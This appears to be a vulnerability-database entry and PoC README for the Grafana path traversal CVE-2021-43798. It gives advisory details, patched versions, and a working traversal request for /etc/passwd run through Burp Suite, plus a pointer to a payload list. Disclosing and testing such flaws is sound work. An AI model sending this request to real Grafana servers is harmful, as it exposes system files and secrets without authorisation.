关联漏洞
标题：
Grafana 路径遍历漏洞
(CVE-2021-43798)
描述：Grafana是Grafana实验室的一套提供可视化监控界面的开源监控工具。该工具主要用于监控和分析Graphite、InfluxDB和Prometheus等。 Grafana 8.0.0-beta1至8.3.0存在路径遍历漏洞，攻击者可利用该漏洞执行目录遍历攻击，访问本地文件。
介绍
# CVE-2021-43798
Grafana versions 8.0.0-beta1 through 8.3.0 (except for patched versions) iss vulnerable to directory traversal, allowing access to local files
Grafana is an open-source platform for monitoring and observability. Grafana versions 8.0.0-beta1 through 8.3.0 (except for patched versions) iss vulnerable to directory traversal, allowing access to local files. The vulnerable URL path is: `<grafana_host_url>/public/plugins//`, where is the plugin ID for any installed plugin. At no time has Grafana Cloud been vulnerable. Users are advised to upgrade to patched versions 8.0.7, 8.1.8, 8.2.7, or 8.3.1. The GitHub Security Advisory contains more information about vulnerable URL paths, mitigation, and the disclosure timeline.
**Using Burp Suite**
Send GET to repeater
GET /public/plugins/alertlist/../../../../../../../../etc/passwd HTTP/1.1
Then send to intruder
GET /public/plugins/alertlist/../../../../../../../../etc/passwd HTTP/1.1
Using Sniper to ATTACK
Payload copy from github https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Directory%20Traversal
Paypload processing
Match [\{FILE]} replace with {flag.txt}
文件快照
[4.0K] /data/pocs/a46320deb0f20d2e089f79a47c2dff7d4aa83f6d
└── [1.1K] README.md
0 directories, 1 file
备注
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